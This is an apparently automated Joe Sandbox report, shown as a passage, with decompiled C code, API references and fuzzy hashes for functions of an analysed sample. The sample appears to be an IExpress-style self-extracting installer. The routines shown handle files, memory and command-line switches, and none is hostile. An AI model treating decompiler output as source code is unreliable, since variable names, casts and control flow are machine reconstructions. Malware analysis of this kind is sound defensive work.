						__eflags = _t30;
						if(_t30 == 0) {
							goto L3;
						} else {
							_t33 = 1;
							goto L35;
						}
					}
					_t30 = _t44 - 1;
					__eflags = _t30;
					if(_t30 == 0) {
						goto L3;
					}
					goto L9;
				}
				if(_a4 == 3) {
					_t30 = E00324B60( *((intOrPtr*)(_t75 + 0x14)));
				}
				goto L3;
			}

0x00324cd0
0x00324cdb
0x00324ce0
0x00324ce2
0x00324cee
0x00324cf2
0x00324d0e
0x00324d0e
0x00324d11
0x00324e83
0x00324e88
0x00324e98
0x00324e98
0x00324d17
0x00324d17
0x00324d1a
0x00324d2f
0x00324d2f
0x00000000
0x00324d2f
0x00324d1c
0x00324d1c
0x00324d1f
0x00324dcb
0x00324dd0
0x00324dd2
0x00324ddd
0x00324ddd
0x00324de3
0x00324de8
0x00324ded
0x00324ded
0x00324def
0x00324df0
0x00324df0
0x00324df4
0x00324df4
0x00324df6
0x00324df9
0x00324dfc
0x00324dfc
0x00324dfe
0x00324dff
0x00324dff
0x00324e03
0x00324e08
0x00324e0a
0x00324e0f
0x00324d03
0x00324d03
0x00000000
0x00324d03
0x00324e18
0x00324e20
0x00324e25
0x00324e27
0x00000000
0x00000000
0x00324e33
0x00324e38
0x00324e3a
0x00000000
0x00000000
0x00324e40
0x00324e51
0x00324e56
0x00324e5b
0x00324e5e
0x00000000
0x00000000
0x00324e6a
0x00324e6f
0x00324e71
0x00000000
0x00000000
0x00324e77
0x00324e7d
0x00000000
0x00324e7d
0x00324d25
0x00324d25
0x00324d28
0x00324d36
0x00324d3b
0x00324d40
0x00324d40
0x00324d42
0x00324d43
0x00324d43
0x00324d47
0x00324d4a
0x00324d4a
0x00324d4c
0x00324d4f
0x00324d4f
0x00324d51
0x00324d52
0x00324d52
0x00324d56
0x00324d5b
0x00324d5d
0x00324d62
0x00000000
0x00000000
0x00324d67
0x00324d6f
0x00324d74
0x00324d76
0x00000000
0x00000000
0x00324d7c
0x00324d84
0x00324d89
0x00324d8b
0x00000000
0x00000000
0x00324d94
0x00324d99
0x00324d9e
0x00324da1
0x00324daa
0x00324daa
0x00324da3
0x00324da3
0x00324da3
0x00324db5
0x00324dbb
0x00324dbd
0x00000000
0x00324dc3
0x00324dc5
0x00000000
0x00324dc5
0x00324dbd
0x00324d2a
0x00324d2a
0x00324d2d
0x00000000
0x00000000
0x00000000
0x00324d2d
0x00324cf8
0x00324cfd
0x00324d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00324DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00324DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00324D36, 00324DE3

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\
API String ID: 3625706803-1116576409
Opcode ID: 1ab396851e1e3560226d777fc9a50dcd5eab203f0bb14f7a8755e8e5acb8efde
Instruction ID: c1a18a4a55ca088edb636ebf2a0811ccb27cb3292741f6506c705ab9ad457d1a
Opcode Fuzzy Hash: 1ab396851e1e3560226d777fc9a50dcd5eab203f0bb14f7a8755e8e5acb8efde
Instruction Fuzzy Hash: 8E4146362041219BCB339F38FC446B573A9EB45300F058669D8969B692DB71DE46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00324C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00324C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x328d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x328d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x00324c40
0x00324c4a
0x00324c8d
0x00000000
0x00324c70
0x00324c70
0x00324c7e
0x00324c86
0x00000000
0x00000000
0x00000000
0x00324c8a

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00324C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00324C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00324C7E

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: d1d205e875b71bd0cb99a86578e97ee5da467a87397c957e081c2c8ff8a06095
Instruction ID: 491decde149513acd0a28c9048b501a6bedd00ca6134f0a0221d8f592194dee3
Opcode Fuzzy Hash: d1d205e875b71bd0cb99a86578e97ee5da467a87397c957e081c2c8ff8a06095
Instruction Fuzzy Hash: F6F0907260122CBF9B27DFB9EC49DBB77ACEF04350B44452AF816C1050EA30E915D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0032487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0032487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E0032490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x00324880
0x0032488c
0x00324894
0x003248a0
0x003248c9
0x003248ce
0x003248a2
0x003248a8
0x003248b7
0x003248bc
0x003248aa
0x003248ac
0x003248ac
0x003248a8
0x003248de
0x003248e7
0x0032490b
0x003248ee
0x003248f0
0x00000000
0x00324902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00324A23,?,00324F67,*MEMCAB,00008000,00000180), ref: 003248DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00324F67,*MEMCAB,00008000,00000180), ref: 00324902

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 183792accb927ea73db27dba3a630543c4d27d089e165008cf1687f86712c25c
Instruction ID: c0c6e77c7911046101036b0205da385850ddc10d5a05dacff458bde6e12f4d38
Opcode Fuzzy Hash: 183792accb927ea73db27dba3a630543c4d27d089e165008cf1687f86712c25c
Instruction Fuzzy Hash: E6014BB3E2157026F3264129AC88FB7551CCB9A734F1B1334BDAAE71D1D6655C0481E0

Uniqueness

Uniqueness Score: -1.00%

Function 00324AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00324AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x32858c; // 0x270
				_t9 = E00323680(_t20);
				if( *0x3291d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x328d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x329400; // 0x89c00
							_t15 = _t14 + _t25;
							 *0x329400 = _t15;
							if( *0x328184 != 0) {
								_t21 =  *0x328584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x3293f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x00324ad5
0x00324adb
0x00324ae7
0x00324aee
0x00324b05
0x00324b0d
0x00324b14
0x00324b1a
0x00324b1c
0x00324b21
0x00324b2a
0x00324b2f
0x00324b31
0x00324b39
0x00324b54
0x00324b54
0x00324b39
0x00324b2f
0x00324b0f
0x00324b0f
0x00324b0f
0x00324b5e
0x00324ae9
0x00324aed
0x00324aed

APIs

Part of subcall function 00323680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0032369F
Part of subcall function 00323680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003236B2
Part of subcall function 00323680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 003236DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00324B05

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: d198bc1bfcbf76996e94e8d607b7c48e69d72eb8a9eccfeb012f5cb38619cc6e
Instruction ID: 83078d9a2cb9835cddd97479e8b5570e667e45834ff48906b95f08917238d3c8
Opcode Fuzzy Hash: d198bc1bfcbf76996e94e8d607b7c48e69d72eb8a9eccfeb012f5cb38619cc6e
Instruction Fuzzy Hash: D601CC31200214ABDB268F29FC05BA2775DEB44725F15822AF9399B1E0CB30E816CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0032658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0032658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x328b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x328b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E003216B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x00326592
0x00326594
0x00326596
0x00326598
0x00326598
0x0032659b
0x0032659b
0x0032659d
0x0032659e
0x003265a2
0x003265a4
0x003265a9
0x003265b2
0x003265b6
0x003265ba
0x003265c3
0x003265c5
0x003265c8
0x003265c8
0x003265c3
0x003265c9
0x003265cc
0x003265d2
0x003265d1
0x003265d1
0x00000000
0x003265dc
0x00000000

APIs

CharPrevA.USER32(00328B3E,00328B3F,00000001,00328B3E,-00000003,?,003260EC,00321140,?), ref: 003265BA

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 35b65fda8d7a9ee8757a5f4f25833e44aa118338c48c3b6dd0fde8444713fa4f
Instruction ID: e7d2d2f0468cf17ad35f5b68d727447af6de389c3967c7e90ee29212de486365
Opcode Fuzzy Hash: 35b65fda8d7a9ee8757a5f4f25833e44aa118338c48c3b6dd0fde8444713fa4f
Instruction Fuzzy Hash: F4F04C321042709BD333091DB885B6BBFDE9F8B350F39016EE8DAC3209CA659C4683E4

Uniqueness

Uniqueness Score: -1.00%

Function 0032621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0032621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x328004; // 0x2c4b51c8
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E0032597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E003244B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x329124 = E00326285();
					_t9 = 0;
				}
				return E00326CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x00326229
0x00326230
0x00326247
0x0032626a
0x00326272
0x00326249
0x00326255
0x0032625f
0x00326264
0x00326264
0x00326284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 0032623F

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Part of subcall function 00326285: GetLastError.KERNEL32(00325BBC), ref: 00326285

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 5c9cf55b7ee0797b7593eb3c837db4df4b7ec055027ef77cb0f38e3aadeddfff
Instruction ID: e290b37e8b0bfb02869d20791ac5bc5fbbf78e72a146352d5afc3d728408d21c
Opcode Fuzzy Hash: 5c9cf55b7ee0797b7593eb3c837db4df4b7ec055027ef77cb0f38e3aadeddfff
Instruction Fuzzy Hash: 14F0E9B0704318ABD762FB74AD03FBE33BCDF44700F40446AB985DA081DD749D458650

Uniqueness

Uniqueness Score: -1.00%

Function 00324B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00324B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x328d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x328d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x328d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x328d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x328d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x328d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x328d6c)) = 0;
				return 0;
			}

0x00324b66
0x00324b74
0x00324b98
0x00324ba0
0x00000000
0x00324bac
0x00324ba4
0x00000000
0x00324ba4
0x00324b78
0x00324b7e
0x00324b84
0x00324b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,00324FA1,00000000), ref: 00324B98

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 281b97fca9a4ac510b6e029015833504f3ba8f3d92a2f43ecc44374d8604a49b
Instruction ID: b488bdad4e9e0610492c7c9863e20f2609a33241219414fb315812dc59dc1aa5
Opcode Fuzzy Hash: 281b97fca9a4ac510b6e029015833504f3ba8f3d92a2f43ecc44374d8604a49b
Instruction Fuzzy Hash: 48F01231941B289E47739F39EC10652BBE8AB95361310492EA4AED2190DB30A44ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 003266AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003266AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x003266b1
0x003266ba
0x003266c7
0x003266bc
0x003266be
0x003266be

APIs

GetFileAttributesA.KERNELBASE(?,00324777,?,00324E38,?), ref: 003266B1

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e32c9073f4f60ba477ff6db7ee0216d7a8dd9fa3e0cbf941a273eaa58e78392a
Instruction ID: 5988ad0e127315b7cd5caf1f46805b2109cd32126b62960105bad860aebec5d8
Opcode Fuzzy Hash: e32c9073f4f60ba477ff6db7ee0216d7a8dd9fa3e0cbf941a273eaa58e78392a
Instruction Fuzzy Hash: DCB09276222850476A2206317C2A95A2845ABC133ABE55B98F032D01E0CA3EC846D004

Uniqueness

Uniqueness Score: -1.00%

Function 00324CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00324CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x00324caa
0x00324cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 00324CAA

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 13c64b4ccbc97ef0fc5ae0977af05fde7be9beaf2eea03fe3dceb042e61b912a
Instruction ID: b5fbcfca56fc6b710200df249e4db6caf38cc0c4a632a8de7ba3c4ef120a9d67
Opcode Fuzzy Hash: 13c64b4ccbc97ef0fc5ae0977af05fde7be9beaf2eea03fe3dceb042e61b912a
Instruction Fuzzy Hash: 22B0123204420CBBCF111FC2FC09F853F1DE7C4761F144000F60C450508A7294118696

Uniqueness

Uniqueness Score: -1.00%

Function 00324CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00324CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x00324cc8
0x00324ccf

APIs

GlobalFree.KERNELBASE ref: 00324CC8

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 41cc91dc35d877aa23598ea347af96abdc98804315c248b20d425d3d08cd82be
Instruction ID: 15c82930515a71d7fe90c0546f67ee116349dd0cc9e2046dc235919d12003a67
Opcode Fuzzy Hash: 41cc91dc35d877aa23598ea347af96abdc98804315c248b20d425d3d08cd82be
Instruction Fuzzy Hash: 78B0123100010CBB8F111B42FC088453F1DD7C0360B004010F50C410218B3398128585

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00325C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00325C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x328004; // 0x2c4b51c8
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E00326CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E00326E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x328004; // 0x2c4b51c8
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E0032597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E003244B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x329124 = E00326285();
									_t75 = 0;
								}
								return E00326CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E003244B9(0, 0x521, 0x321140, 0, 0x40, 0);
												_t85 =  *0x328588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E0032667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E0032667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E00325C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E00321680(0x328c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E0032667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E0032667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x328a24 = 1;
												}
												goto L50;
